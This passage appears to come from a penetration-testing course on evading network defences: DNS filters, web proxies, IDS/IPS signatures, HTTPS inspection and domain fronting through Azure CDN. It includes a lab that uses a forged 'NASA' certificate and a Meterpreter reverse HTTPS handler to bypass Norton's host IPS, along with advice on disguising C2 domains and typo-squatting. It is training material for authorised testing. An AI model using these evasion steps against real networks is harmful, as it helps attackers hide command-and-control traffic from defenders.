DNS Filters

DNS filters are typically one of the first defenses that we'll need
to consider as penetration testers. If we were to perform a DNS lookup
from a target network, that request might traverse through several DNS
servers inside the target environment, eventually passing to a device
that performs DNS filtering. This may occur on the client's network,
or the request may be forwarded to an Internet-based DNS provider
service, like OpenDNS.[474]

At a basic level, most DNS filters compare requested domains to a
blocklist of well-known malicious domain names. If the domain name is
on the blocklist, it is filtered. One of the better known open lists
is malwaredomainlist.[475] Additionally, advanced
systems may use advanced heuristics techniques as well.

If the requested domain is on the blocklist, DNS filtering systems may
drop the request (returning nothing) or return a sinkhole, or fake,
IP address. A sinkhole IP will often either redirect to a block page,
which presents an error or warning to the user, or to a monitoring
device that captures further traffic, which can be analyzed. In some
cases, it may simply be dropped.

A sinkhole can be a powerful weapon in the right hands. This
was exceptionally highlighted in May 2017, when the WannaCry
ransomware quickly infected approximately 200000 machines in
150 countries. The developer coded a simple sinkhole "kill
switch" that relied on the DNS resolution and HTTP service of the
iuqerfsodp9ifjaposdfjhgosurijfaewrwergwea.com domain. If this
request was successful, the malware would terminate. Malware analyst
Marcus Hutchins registered the domain, stood up a web server to reply
to the malware, and effectively stopped the malware's outbreak. This
was possible because the malware developer didn't initially register
the kill switch domain.

Let's demonstrate this process with an OpenDNS sinkhole.
OpenDNS maintains the www.internetbadguys.com test
domain,[476] which is used to showcase their blocking
service. If we resolve this IP with OpenDNS's server (208.67.222.222),
we should receive one of a variety of sinkhole[477] IP
addresses. On the other hand, Google's DNS server (8.8.8.8) resolves
this as 67.215.92.210.

Let's try this out from our Kali machine that has Internet access.
First, we'll set our DNS server to Google.

kali@kali:~$ sudo bash -c "echo nameserver 8.8.8.8 > /etc/resolv.conf" 

Listing 1 - Changing nameserver in Kali

Then we'll resolve the domain name with nslookup.

kali@kali:~$ nslookup www.internetbadguys.com
Server:         8.8.8.8
Address:        8.8.8.8#53

Non-authoritative answer:
Name:   www.internetbadguys.com
Address: 67.215.92.210

Listing 2 - Doing domain lookup with Google's servers

This returns the public IP address instead of the sinkhole IP. By
extension, if we load www.internetbadguys.com in a browser,
we receive the following page:

Figure 3: OpenDNS test domain, not blocked

If this were a real phishing site, we would have loaded it in our
browser. Now let's switch to an OpenDNS server.

kali@kali:~$ sudo bash -c "echo nameserver 208.67.222.222 > /etc/resolv.conf"

Listing 3 - Changing nameserver in Kali

Next, we'll try the lookup again.

kali@kali:~$ nslookup www.internetbadguys.com
Server:         208.67.222.222
Address:        208.67.222.222#53

Non-authoritative answer:
Name:   www.internetbadguys.com
Address: 146.112.61.108
Name:   www.internetbadguys.com
Address: ::ffff:146.112.61.108

Listing 4 - Doing domain lookup with OpenDNS's servers

This returns a different IP.

With our DNS server updated, let's browse
www.internetbadguys.com again. Note that due to DNS caching,
we may need to restart the browser to properly retrieve the new page.

Figure 4: OpenDNS block page

This redirects to a block page, categorized as an OpenDNS "Phishing
threat".

Note that since Cisco acquired OpenDNS, the page (and the OpenDNS
product) has been rebranded to "Cisco Umbrella".

In addition to solutions like OpenDNS, DNS servers can integrate
domain reputation lookup solutions (like IPVoid[478] and
VirusTotal[479]), which query multiple DNS filtering
providers, aggregate the responses, and make a weighted decision about
reputability of the domain.

For example, let's check the reputation of textspeier.de with
IPVoid. Note that some browser extensions (like uBlock Origin) will
break the IPVoid site's functionality so we may need to try this in
various browsers or disable browser extensions.

Figure 5: IPVoid results for textspeier.de

The output indicates that this domain is considered unsafe by many
domain reputation services.

In addition to the simple suggestion to pass or block a domain,
many modern filtering systems rely on domain categorization, similar
to the "Phishing" diagnosis provided by OpenDNS in our previous
example.[480] For example, if an enterprise blocks
users from accessing webmail or movie-related domains, we should avoid
this categorization for our C2 server.

As a simple example, let's look up cnn.com with the OpenDNS
categorization checker.[481]

Figure 6: OpenDNS test domain, not blocked

In this case, cnn.com is categorized as a "News/Media" site.

Armed with a basic understanding of DNS filters, let's shift our focus
to bypass techniques.

Exercises

  1. Repeat the steps above to test OpenDNS blocking.
  2. Obtain various domain reputation results with IPVoid.

Dealing with DNS Filters

When confronting a DNS filter, our goal is to select a domain that
appears legitimate, is likely allowed by the target's policy, and not
blocked. We'll address each of these requirements in this section and
suggest methods for meeting them.

It may seem logical to register a new domain, but it may be
categorized as a Newly Seen Domain.[482] This
can be equally detrimental to the reputation score, since penetration
testers and malware authors often use brand new domains. Domains in
this category are often less than one week old and are relatively
unused, lacking inquiries and traffic. Because of this, we should
collect domain names in advance and generate lookups and traffic well
in advance of an engagement.

However, even if our domain is classified as clean, we need to make
sure its domain category matches what the client allows.

For example, the "webmail" classification is often disallowed
given the increased risk of downloaded malware. In most cases,
we should pre-populate a web site on our domain with seemingly
harmless content (like a cooking blog) to earn a harmless category
classification. We can even go so far as to subscribe to domain
categorization services (like the previously-mentioned OpenDNS
site[483]) so we can submit our own domain
classifications. Even if our domain has been categorized as malicious,
we can easily host a legitimate-looking website on the domain and
request re-categorization.

To demonstrate, we can submit a vote request for an OpenDNS tag
for the parcelsapp.com domain, which is a popular parcel
tracking website. We could also vote on other user's submissions as
well.[481-1]

Figure 7: OpenDNS vote for parcelsapp.com domain

We can also submit the domain for a community review if voting is not
available or if we would like to suggest a different category.

Figure 8: Submit category for parcelsapp.com domain

In addition to guarding and monitoring our domain's reputation, we
should take steps to make the domain name itself appear legitimate.
For example, a domain name consisting of legitimate-sounding text
is less suspicious than a domain consisting of random numbers
and characters, especially when examined by natural language
processing
[484] filtering systems.

One technique popularized by malware authors and penetration testers
is known as typo-squatting,[485] which leverages subtle
changes in recognizable domain names. For example, if our target
uses example.com, we could register the examp1e.com,
which is visually similar. Additional examples may include
examlpe.com, exomple.com, or examplle.com.

Although this technique could entice a user to click a
phishing link, some services can filter and issue alerts regarding
typo-squatted domains.

Finally, we must be aware of the status of the IP address of our
C2 server. If the IP has been flagged as malicious, some defensive
solutions may block the traffic. This is especially common on shared
hosting sites in which one IP address hosts multiple websites. If one
site on the shared host ever contained a browser exploit or was ever
used in a watering hole[486] malware campaign, the shared
host may be flagged. Subsequently, every host that shares that IP may
be flagged as well, and our C2 traffic may be blocked.

To guard against this, we should use a variety of lookup tools, like
the previously-mentioned Virustotal and IPVoid sites to check the
status of our C2 IP address before an engagement.

To recap, when faced with a DNS filter, we should begin preparation
well in advance and do our best to make the domain seem as
legitimate as possible. We should ensure that our domains are in
a likely-permissible category and we should have several domains
prepared in advance so we can swap them out as needed during an
engagement.

Now that we've examined DNS filter bypasses, we'll move on to the most
common filtering device: the web proxy server.

Exercise

  1. Using OpenDNS, check the categorization of a couple of domains.

Web Proxies

Although proxy servers support many protocols, the most common
outbound filtering system is a web proxy server,[487]
which can inspect and manipulate HTTP and HTTPS connections.

Simply put, web proxy servers accept and forward web traffic on
behalf of a client, for example, a web browser. This is often done
in a Network Address Translation (NAT) environment, in which the
internal private source IP addresses[488] are translated into
Internet-routable addresses.

If a user on an internal network requests an external web-based
resource, and the network enforces the use of a proxy, the request
will be sent to the proxy server, which will terminate the connection
and initiate a new one to the outside world.

This is illustrated in Figure 9.

Figure 9: Typical proxy operation

In this figure, the Workstation client sends a web request to
www.example.com but because of the proxy configuration,
the request is actually sent to the proxy server (with a destination
address of 10.0.0.254) first. The proxy server will then NAT
the connection, setting the source IP to its own public IP, and
setting the destination IP to the real IP of the server hosting
www.example.com.

In Figure 9, the proxy passes on the GET request for
index.html to www.example.com and may also read,
insert, delete, or modify HTTP headers such as the User-Agent (which
defines the browser type).

By acting as a Man-In-The-Middle (MITM),[489] a web proxy is
an excellent single-unit defensive tool that can perform URL and IP
filtering and HTTPS inspection. For example, it could block traffic
based on fields such as the User-Agent to disallow certain browsers.
It can also actively modify data within a connection including the
HTTP headers.[490]

Similar to a DNS filter, a web filter can inspect (and manipulate)
full URLs and is database-driven, filtering by blocklists or
categories. If a URL is disallowed, the proxy will often return a
block page.

Even if the traffic is allowed, the request details, like common HTTP
headers (Host, User-Agent, Referer, etc) as well as the request method
and resource path will almost certainly be logged. If the company
uses a central log server with a Security Information and Event
Management
(SIEM)[491] system, the proxy logs might be subject
to a second review and if something is suspicious, an alert might be
generated.

Since this could jeopardize our penetration test, we must
tread carefully and employ a variety of bypass, obfuscation, and
normalization techniques on our web-based traffic. In the next
section, we'll explore a few of these techniques.

Bypassing Web Proxies

When dealing with proxy servers, we should first ensure that our
payload is proxy-aware. When our payload tries to connect back to the
C2 server, it must detect local proxy settings, and implement those
settings instead of trying to connect to the given domain directly.
Fortunately, Meterpreter's HTTP/S payload is proxy-aware, (thanks to
the InternetSetOptionA[492] API), so we can leverage
that.

Armed with a proxy-aware payload, we must consider many of the
protection mechanisms implemented by the web-proxy filter. We must
ensure that the domain and URL are clean and that our C2 server is
safely categorized as defined by our client's policy rules. If the
client has deployed a URL verification or categorization system, like
those provided by Cyren,[493] Symantec Bluecoat,[494] or
Checkpoint,[495] we should factor their policy settings
into our bypass strategy.

For example, the following figure demonstrates a Symantec
Bluecoat[494-1] categorization lookup.

Figure 10: Symantec website categorization

The output indicates that the makehamburgers.com domain
is uncategorized. If we were using this as our C2 server, we should
follow the prompts to categorize it according to the company's allowed
use policy, since an unnamed domain will likely be flagged.

We could also grab a seemingly-safe domain by hosting our C2
in a cloud service or Content Delivery Network (CDN), which
auto-assigns a generic domain. These could include domains
such as cloudfront.net, wordpress.com, or
azurewebsites.net. These types of domains are often
auto-allowed since they are used by legitimate websites and hosting
services.

Now that we've considered our payload and C2 server domains and URLs,
we can consider the traces our C2 session will leave in the proxy
logs. For example, instead of simply generating custom TCP traffic
on ports 80 or 443, our session should conform to HTTP protocol
standards.

Fortunately, many framework payloads, including Metasploit's
Meterpreter, follow the standards as they use HTTP APIs like
HttpOpenRequestA.[496]

We'll also need to ensure that we set our User-Agent to a browser type
that is permitted by the organization. For example, if we know that
the organization we are targeting uses Microsoft Windows with Edge, we
should set it accordingly. In this scenario, a User-Agent for Chrome
running on macOS will likely raise suspicion or might be blocked.

In order to determine an allowed User-Agent string, we could
consider social engineering or we could sniff HTTP packets from our
internal point of presence. Additionally, we could use a site like
useragentstring.com[497] to build the string or choose from a
variety of user-supplied strings.

Figure 11: Analyzing the Edge User Agent string

In Figure 11, we analyzed an Edge-based User-Agent and
received detailed information about the client. Besides the browser,
we also got information about the operating system, its version
number, the engine of the browser, and much more.

If we don't know what is being used, we can always check the exact
value ourselves with a packet capture.

Once we have selected a User-Agent string, we can apply it to our
framework of choice. For example, we can set our custom User-Agent in
Meterpreter with the HttpUserAgent advanced configuration option.

In this section, we discussed web proxies, how they are similar to DNS
filters, and how similar approaches help us bypass these filters. We
also touched briefly on the HTTP protocol standard and discussed why
it's important to follow it in our payload. In the next section, we'll
discuss IDS and IPS sensors.

Exercises

  1. Visit Symantec's website categorization website[494-2] and
    verify the category of a couple of random websites.
  2. Compare the domain categorization results for the same domains in
    OpenDNS and Symantec.

IDS and IPS Sensors

Traditionally, network Intrusion Detection Systems (IDS) or Intrusion
Prevention Systems (IPS) protect against incoming malicious traffic.
However, they are often used to filter outgoing traffic. The main
difference between these devices is that an IPS is an active device
sitting in-line of the traffic and can block traffic, while a
traditional IDS is a passive device which does not sit inline and is
designed to only alert.

However, both devices will perform deep packet inspection. Large
chunks of data are generally fragmented as they traverse the
IP network, because some links have low Maximum Transmission
Unit
(MTU)[498] values, which limits the size of packets that can
be transferred over the network medium. This process is called IP
fragmentation
.[499] Because of this fragmentation, IDS and
IPS devices will first need to reassemble[500] packets to
reconstruct the data. The devices will then examine the content of the
traffic beyond IP addresses and port numbers, and inspect application
layer data in search of identifiable patterns defined by signatures.

These signatures are often created by malware analysts using methods
similar to antivirus signature creation and must be very specifically
tuned for accuracy. This tuning process can work to our advantage,
allowing us to evade detection by making very small changes to an
otherwise suspicious traffic pattern.

Let's take a moment to discuss how this process might work. In 2015,
Didier Stevens created a Snort rule to detect Meterpreter[501]
and his process is a great example of both traffic analysis and
IDS/IPS rule creation. He observed many things about a typical
Meterpreter connection, an example of which is shown in Figure
12 from Didier Steven's website.[501-1]

Figure 12: Packet capture of meterpreter traffic

First, the client sends an HTTP POST request. The URI follows
a consistent pattern. It begins with a checksum of four or five
alphanumeric characters followed by an underscore and sixteen random
alphanumeric characters.

Let's expand this POST's TCP stream.

Figure 13: Packet details of meterpreter traffic

This stream[501-2] reveals the POST URI as well as a four-byte
payload containing a "RECV" string.

This request was hardcoded in Meterpreter's source code, and creates
an easily-identifiable pattern, which is a perfect candidate for
an IPS signature. The Meterpreter source code has since changed,
invalidating this signature, but this example demonstrates the
capabilities of a competent analyst performing signature analysis.

In another example, Fox-It discovered that the popular Cobalt Strike
C2 framework deviated from the HTTP protocol standard, as shown in
this listing:

Figure 14: Packet details of Cobalt Strike traffic

They observed a single extraneous space following the HTTP Protocol
specifier. Based on this, they published a rule designed to detect the
use of Cobalt Strike in use on a network.[502]

Since IPS and IDS sensors usually match a very unique pattern, the
simplest way to bypass signature detection is to simply change our
tool's traffic pattern. Most major frameworks, like Meterpreter,
Empire, and Covenant allow varying degrees of custom configuration
options. We can manipulate these options in various ways to bypass
IDS/IPS signatures.

In the next section, we'll demonstrate this as we bypass the Norton
360 host-based IPS system.

Case Study: Bypassing Norton HIPS with Custom Certificates

A Host-based IPS (HIPS) is an IPS that is often integrated into an
endpoint software security suite. This type of system has full access
to the host's network traffic and as with a traditional IPS, can block
traffic based on signatures.

In this case study, we will demonstrate a bypass for the Norton HIPS
that is bundled with Norton 360[503] and the Symantec Endpoint
Protection
[409-1] enterprise solution.

Although this product can detect and block standard Meterpreter
sessions, it is signature-based, which means we can bypass it with
simple network traffic modifications.

Specifically, this product detects the standard Meterpreter HTTPS
certificate. Certificates are used to ensure (or certify) the
identity of a domain. They are also used to encrypt network traffic
through a variety of cryptographic mechanisms. Normally, certificates
are issued by trusted authorities called Certificate Authorities
(CA),[504] which are well-known. For example, the CA trusted root
certificates
[505] are pre-installed on most operating systems,
which streamlines validation.

Let's dig into our case study by first installing Norton IPS on the
Windows 10 client. The installer (N360-ESD-22.20.4.57-EN.exe)
is on the offsec user's desktop. We'll simply double-click the
executable, click Install, and optionally deselect the Norton
Community
option since the VM is not Internet-connected.

Figure 15: Installing Norton 360

Following this, we'll simply close the presented registration window.

To simulate an attack, we'll set up a reverse HTTPS Meterpreter
multi/handler listener on our Kali machine. Next, we'll connect to
the reverse shell from our browser. It's important that we use our
browser to connect for this case study because our focus is on the
certificate that is generated and not the Meterpreter traffic itself.

This connection is blocked immediately and Norton 360 generates a
popup on the Windows 10 desktop flagging the Meterpreter Reverse HTTPS
session.

Figure 16: Norton alert: Meterpreter Reverse HTTPS

Clicking View Details reveals further information, including our
Kali attack machine's IP and port, the local IP and port (referred to
as Destination Address), the date and time of the connection, and a
description of the alert.

Figure 17: Norton alert details

Since the alert refers to an HTTPS signature, let's take a moment to
view the offending signature. To do this, we must first stop the IPS
functionality within Norton 360.

This setting is available in the Security tab under the Advanced
section.

Figure 18: Norton Security -> Advanced

From here, we'll switch off Intrusion Prevention.

Figure 19: Norton Switch Off IPS

With intrusion prevention switched off, we'll connect to our listener
again from the Windows 10 browser. The browser presents a certificate
error because Meterpreter is using a self-signed certificate, which
means it wasn't certified by a trusted CA.

Let's view that certificate.

Figure 20: Random meterpreter certificate

Next, we'll restart the Meterpreter listener on our Kali machine and
connect again. This will throw the certificate error again. However,
the certificate has changed:

Figure 21: Random meterpreter certificate

Notice that every detail of the certificate has changed. Meterpreter
randomizes this certificate in an attempt to evade signature
detection.

However, if we were to re-enable Norton's IPS feature, this
certificate would flag as well. Since we don't understand exactly why
this is flagging, we can begin with two safe assumptions. Norton may
be flagging this because it's a self-signed certificate. If this were
the case, we could use a real SSL certificate, which requires that we
own that domain. This is the best approach if we own a safe domain.
To do this, we would obtain a signed, valid certificate, perhaps from
a service provider like Let's Encrypt,[506] which provides
free three-month certificates.

We need to consider that self-signed certificates are somewhat common
for non-malicious use though. Therefore, at this point, it is unlikely
that this is the cause of our problem. It's more likely that Norton
contains signatures for the data present in Meterpreter's randomized
certificates. We will proceed with this assumption and create our own
self-signed certificate, customizing some of its fields in an attempt
to bypass those signatures. There are several approaches we could
consider.

One approach is to generate a self-signed certificate that matches
a given domain with Metasploit's impersonate_ssl auxiliary
module. This module will create a self-signed certificate whose
metadata matches the site we are trying to impersonate.

Another option is to manually create a self-signed certificate with
openssl,[507] which allows us full control over the certificate
details. We don't need to own a domain for this approach but if the
certificate is passing through HTTPS inspection (which is covered
later in this module), the traffic might flag because of an untrusted
certificate.

However, despite the drawback of potential HTTP inspection flagging
our traffic, we'll try this approach and generate a new self-signed
certificate and private key that appears to be from NASA. We'll use
several openssl options as shown in Listing 5:

  • req: Create a self-signed certificate.
  • -new: Generate a new certificate.
  • -x509: Output a self-signed certificate instead of a
    certificate request.
  • -nodes: Do not encrypt private keys.
  • -out cert.crt: Output file for the certificate.
  • -keyout priv.key: Output file for the private key.

Let's put these options together and run the command.

kali@kali:~$ openssl req -new -x509 -nodes -out cert.crt -keyout priv.key
Generating a RSA private key
...
writing new private key to 'priv.key'
...
-----
Country Name (2 letter code) [AU]:US
State or Province Name (full name) [Some-State]:TX 
Locality Name (eg, city) []:Houston
Organization Name (eg, company) [Internet Widgits Pty Ltd]:NASA
Organizational Unit Name (eg, section) []:JSC
Common Name (e.g. server FQDN or YOUR name) []:nasa.gov
Email Address []:info@nasa.gov

Listing 5 - Generating self signed certificate

In order to use this certificate and key with Metasploit, we must
create a .pem file by simply concatenating the key and
certificate with cat.

kali@kali:~$ cat priv.key cert.crt > nasa.pem

Listing 6 - Combining certificate with private key

We also must change the CipherString[508]
in the /etc/ssl/openssl.cnf config
file or our reverse HTTPS shell will not work
properly.[509]

First, we will locate this line in the config file:

CipherString=DEFAULT@SECLEVEL=2

Listing 7 - openssl.cnf settings - old

We will remove the "@SECLEVEL=2" string, as the SECLEVEL[510]
option limits the usable hash and cypher functions in an SSL or TLS
connection. We'll set this to "DEFAULT", which allows all.

The new configuration should be set according to the listing below.

CipherString=DEFAULT

Listing 8 - openssl.cnf settings - new

Finally, we'll configure Metasploit to use our newly-created
certificate through the HandlerSSLCert option, which we'll set
to the path of our nasa.pem file. Once this is set, we'll
restart our listener.

msf5 exploit(multi/handler) > set HandlerSSLCert /home/kali/self_cert/nasa.pem
handlersslcert => /home/kali/self_cert/nasa.pem

msf5 exploit(multi/handler) > exploit

[*] Started HTTPS reverse handler on https://192.168.119.120:4443

Listing 9 - Configuring HandlerSSLCert for Meterpreter

Let's re-enable Norton's host-based IPS, reload the web page, and view
the certificate in our browser:

Figure 22: Our self signed certificate as seen on the victim

Although the browser still complains about the self-signed
certificate, our newly-created "NASA" certificate bypassed Norton's
IPS. This confirms that Norton was, in fact, flagging Meterpreter's
"randomized" certificate field data.

In a real-world engagement, we might consider using more
sensibly-customized field data, but regardless of the actual field
data, we can use simple changes like this to bypass some IPS software.

This example highlights the shortcomings of signature-based IPS sensors.

Exercises

  1. Repeat the previous steps to bypass Norton's HIPS sensor.
  2. Use the impersonate_ssl module in Metasploit to bypass Norton HIPS.
  3. Norton doesn't block Empire's default HTTPS shell. Why is this?
    Consider the steps we took in this section to determine the reason.
  4. If you own a domain, obtain a valid SSL certificate from Let's
    Encrypt's free service.

Full Packet Capture Devices

In this section, we'll briefly discuss full packet capture devices.
These devices do not typically sit inline with network traffic, but
rather on a network tap, which will capture the traffic. These devices
are typically used during post-incident forensic investigations.

RSA's Netwitness[511] is a common enterprise-level
full packet capture system and Moloch[512] is an alternative
free open source alternative.

These devices can also be used for deep packet inspection and protocol
analysis of the traffic and can generate rich, searchable metadata.
Experienced users can use this data to detect malicious traffic.

From a penetration testing perspective, our goal is not to evade such
systems but to rather lower our profile as much as possible to evade
detection, using the tactics we discussed in the proxy and DNS filter
evasion sections. In addition, before using any tool or framework, we
should view our traffic in a test lab with a tool like Wireshark to
determine if the tool is generating realistic-looking traffic.

Since these solutions typically log geolocation data, we should also
consider this as part of our bypass strategy, especially the perceived
location of our C2 server. For example, if we know that our target
only typically transacts with US-based sites, geographically different
destinations may raise suspicion.

HTTPS Inspection

The last defense system we will discuss is HTTPS inspection, in which
the traffic is decrypted and unpacked, inspected and then repacked,
and encrypted again. This is essentially a man-in-the-middle.

From an architectural standpoint, this is often done at the Internet
Edge zone as shown in Figure 23. Because
decrypting and re-encrypting traffic is very expensive and complex,
most environments perform this process on a dedicated device.

Figure 23: HTTPS inspection points

In this scenario, client machines trust the inspection device's
certificate since it is often signed by the organization's certificate
authority, allowing the device to impersonate the client.

There is no easy way to bypass HTTPS inspection devices. If we are
using HTTPS, we must simply assume that our traffic will be inspected
and try to keep a low profile. One way to do this is to abort a
payload if we suspect that it is being inspected. We can do this with
TLS Certificate Pinning[513] in Meterpreter. Using
this technique, we can specify the certificate that will be trusted.
Meterpreter will then compare the hash of the certificates and if
there is a mismatch, it will terminate itself. This can be controlled
by setting the StagerVerifySSLCert option to "true" and configuring
HandlerSSLCert with the certificate we trust and want to use.

We can also try to categorize the target domain of our traffic to
reduce the likelihood of inspection. Some categories, like "banking",
are usually not subject to inspection because of privacy concerns. If
we can categorize our domain to an accepted category, we may be able
to bypass HTTPS inspection and, by extension, bypass other detection
systems as well since our traffic is encrypted.

So far in this module, we have discussed various defensive devices and
demonstrated various generic bypasses. In the next sections, we will
discuss various techniques that can be used bypass multiple systems
all at once.

Domain Fronting

As we have already discussed, penetration testers almost always
have to deal with egress traffic filtering. In this section, we will
discuss a bypass technique called domain fronting,[514] which
was originally designed to circumvent Internet censorship systems.

The origins of this technique date back to 2012,[515]
when it was first used to specifically bypass egress filters. Since
then, it has become very popular and has been adopted by malware
authors (APT29[516]) and many well-known penetration testing
tools like Meterpreter, Empire, and Covenant.

At a very high level, this technique leverages the fact that large
Content Delivery Networks (CDN)[517] can be difficult to block
or filter on a granular basis. Depending on the feature set supported
by a CDN provider, domain fronting allows us to fetch arbitrary
website content from a CDN, even though the initial TLS[518] session
is targeting a different domain. This is possible as the TLS and the
HTTP session are handled independently. For example, we can initiate
the TLS session to www.example1.com and then get the contents
of www.example2.com.

To understand why this is possible, let's discuss the foundational
concepts, beginning with HTTP request Host headers.

In the traditional website architecture, a client makes a
content request directly to a webserver, as shown in Figure
24. Furthermore, each server hosts only
a single website.

Figure 24: Traditional webserver access

With the advent of virtual hosting,[519] multiple web sites
associated with different domains could be hosted on a single machine,
i.e. from a single IP address. The key to this functionality is the
request HOST header, which specifies the target domain name, and
optionally the port on which the web server is listening for the
specified domain.

A typical Host header in this environment is shown in Listing
10.

GET /index.html HTTP/1.1
Host: www.example.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36
Accept: */*

Listing 10 - HTTP header example

The first line of Listing 10 indicates the request method and
the path of the resource being requested. In this case, this is a GET
request for the /index.html page.

The next line is the Host header, which specifies the actual host
where the resource is located. This typically matches the domain name.

To better understand the need for a Host header, let's examine a
simplified TCP/IP packet (Figure 25) that carries
an HTTP message.

Figure 25: HTTP packet

After the DNS lookup is performed by the connecting client, the domain
information is lost. In this case, the server will only see the IP
address where the client tries to connect (which is its IP). Because
of this, the target domain is represented in the HTTP request.

On the hosting server itself, the Host header maps to a value in one
of the web server's configuration files. For example, consider the
NGINX configuration shown in Listing 11.

server {
        listen 80;
        listen [::]:80;

        root /var/www/example.com/html;
        index index.html index.htm index.nginx-debian.html;

        server_name example.com www.example.com;

        location / {
                try_files $uri $uri/ =404;
        }
}

Listing 11 - NGINX server configuration

Note that the server_name lists the available domain names this
particular configuration applies to. The root field specifies what
content is served for that domain name. In this way, a server can
host many websites from a single host through multiple domain-centric
configuration files.

However, when a client connects to a server that runs TLS, the
situation is a bit different. Because it is dealing with an encrypted
connection, the server must also determine which certificate to send
in the response based on the client's request.

Since the HTTP Host header is only available after the secure channel
has been established, it can't be used to specify the target domain.
Instead, the TLS Server Name Indication (SNI)[520] field,
which can be set in the "TLS Client Hello" packet during the TLS
negotiation process, is used to specify the target domain and therefore
the certificate that is sent in response.

Figure 26: TLS Client Hello packet

In response to this, the "TLS Server Hello" packet contains the
certificate for the domain that was indicated in the client request
SNI field.

Figure 27: TLS Server Hello packet

We can leverage these connection mechanics as a possible evasion
technique.

For example, we can make an HTTPS connection to a server and set the
SNI to indicate that we are accessing www.example1.com. Once
the TLS session is established and we start the HTTP session (over
TLS), we can specify a different domain name in the Host header,
for example www.example2.com. This will cause the webserver
to serve content for that website instead. If our target is not
performing HTTPS inspection, it will only see the initial connection
to www.example1.com, unaware that we were connecting to
www.example2.com. If www.example2.com is a blocked
domain, but www.example1.com is not, we have performed a
simple filter bypass.

We can now tie this approach to Content Delivery Networks (CDN). On
a larger scale, a CDN provides geographically-optimized web content
delivery. CDN endpoints[521] cache and serve the actual
website content from multiple sources, and the HTTP request Host
header is used to differentiate this content. It can serve us any
resource (typically a website) that is being hosted on the same CDN
network.

This architecture is shown in Figure 28.

Figure 28: Webserver access over CDN

In this Figure, www.example.com will point to the CDN
endpoint's domain name (e.g.: something.azureedge.net)
through DNS Canonical Name (CNAME)[522] records. When a
client looks up www.example.com, the DNS will recursively
lookup something.azureedge.net, which will be resolved by
Azure. In this way, traffic will be directed to the CDN endpoint
rather than the real server. Since CDN endpoints are used to serve
content from multiple websites, the returned content is based on the
Host header.

Let's look at an example in detail.

Let's assume we have a CDN network that is caching content
for good.com. This endpoint has a domain name of
cdn1111.someprovider.com.

We'll create a CDN endpoint that is proxying or caching content to
malicious.com. This new endpoint will have a domain name of
cdn2222.someprovider.com, which means if we browse to this
address, we eventually access malicious.com.

Assuming that malicious.com is a blocked domain and
good.com is an allowed domain, we could then subversively
access malicious.com.

Figure 29: CDN traffic flow

Let's walk through the process demonstrated in Figure
29:

  1. The client initiates a DNS request to its primary DNS server to
    look up the IP of good.com.
  2. The primary DNS server asks the root DNS server for the IP address
    of good.com.
  3. The server replies with the configured CNAME record for that
    domain, which is cdn1111.someprovider.com.
  4. The primary DNS server queries the someprovider.com DNS
    server for the cdn1111.someprovider.com domain.
  5. The DNS server for someprovider.com replies with
    192.168.1.1, which is the IP of the CDN endpoint.
  6. The primary DNS sends the reply to the client.
  7. The client initiates a TLS session to domain good.com to
    the CDN endpoint.
  8. The CDN endpoint serves the certificate for good.com.
  9. The client asks for the cdn2222.someprovider.com resource.
  10. The CDN endpoint serves the contents of malicious.com.

If we are using HTTPS and no inspection devices are present, this
primarily appears to be a connection to good.com because of
the initial DNS request and the SNI entry from the TLS Client Hello.

Even in an environment that uses HTTPS filtering, we can use this
technique in various ways, such as to bypass DNS filters.

Note that some CDN providers, like Google and Amazon, will block
requests if the host in the SNI and the Host headers don't match.
However, in the next example, we will demonstrate domain fronting
against Microsoft Azure.

In summary, this process of manipulating the Host and SNI headers in
the traffic flow allows us to fetch content from sites that might be
blocked otherwise and also allows us to hide our traffic. This process
is known as domain fronting.

Domain Fronting with Azure CDN

In this section, we will demonstrate how to configure domain
fronting with Microsoft Azure. To do this, we will need a domain we
control, an Azure subscription to create a CDN, and a machine that is
Internet-accessible.

Due to the above requirements, this section is for demonstration
purposes only. However, in the next section we will show how we can
still emulate and practice this technique in the lab environment.

Our goal is to host a Meterpreter listener on our
meterpreter.info domain. At the time of this writing, the
domain points to an Ubuntu virtual machine hosted at DigitalOcean
with an IP of 138.68.99.177. We will set up a CDN in Azure to proxy
requests to this domain. Once the CDN is set up, we will need to find
a domain that we can use for domain fronting.

To set up a CDN in Azure, we'll select Create Resource from the
Home screen. A search screen is displayed where we can search for
various resources and services offered by Azure. Here, we need to
search for "CDN".

Figure 30: Search Azure Services

Once we find CDN, we can select it and click Create.

Figure 31: Azure CDN selection

Figure 32 shows the various options. Let's
briefly describe each one:

  • Name: This field is arbitrary. We can give it any name we like.
  • Subscription: This is the subscription that will be used to pay
    for the service.
  • Resource group: The CDN profile must belong to a resource group.
    We can either select an existing one or create a new one. For this
    example, we'll create a new one, adding "-rg" to the end of the name.
  • RG location: An arbitrary geographic area where we want to host
    the CDN.
  • Pricing tier: We'll select "Standard Verizon". This affects not
    only the pricing, but also the features we will have access to, and
    will also affect the way the CDN works. We found "Standard Verizon"
    to be the most reliable for our needs. The "Standard Microsoft" tier
    creates issues with TLS and the caching is also not as flexible.
  • CDN endpoint name: The hostname we will use in the HTTP header
    to access meterpreter.info. This can be anything that is
    available from Azure, and the suffix will be azureedge.net.
  • Origin type: This should be set to "Custom origin".
  • Origin hostname: This would be the actual website that should
    be cached by CDN under normal cases. In our case, this is the domain
    where we host our C2 server.

Figure 32: Azure CDN configuration

Once we populate all the details and click Create, Azure
creates the CDN profile.

Figure 33: Azure notification: CDN is being created

We'll receive a notification when the CDN profile is ready.

Figure 34: Azure notification: CDN is ready

Once the profile is ready, we can navigate to Home > All
Resources
, select our newly created CDN profile, and we can confirm
that it's working in the Overview section.

Note that it takes about ninety minutes for Azure to set this up.

Figure 35: Azure CDN Overview

Next, we need to disable caching. Caching will break our C2 channel,
especially our reverse shells since they are not static and each
request returns a unique response.

To disable caching, we'll select our Endpoint and Caching rules.
There, we'll set Caching behavior to "Bypass cache", which will
disable caching.

Figure 36: Azure Cache configuration

We can also set Query string caching behavior to "Bypass caching for
query strings", which will prevent the CDN from caching any requests
containing query strings.

Once saved, we will need to wait for the settings to propagate. This
can take up to thirty minutes.

At this point, it's good practice to ensure that the connection is
working properly before we move on to domain fronting and the actual
reverse shell. If basic requests fail, we need to fix them prior to
moving forward.

On our machine, which is the destination for
meterpreter.info, we'll set up a simple Python HTTP and HTTPS
listener to test web server functionality. We'll first test HTTP and
if that works, we can move on to HTTPS. This ensures that all layers
are working properly and allows for systematic testing.

We can run a Python one-liner to test HTTP connectivity. We'll need
to run it with sudo since we're listening on a privileged
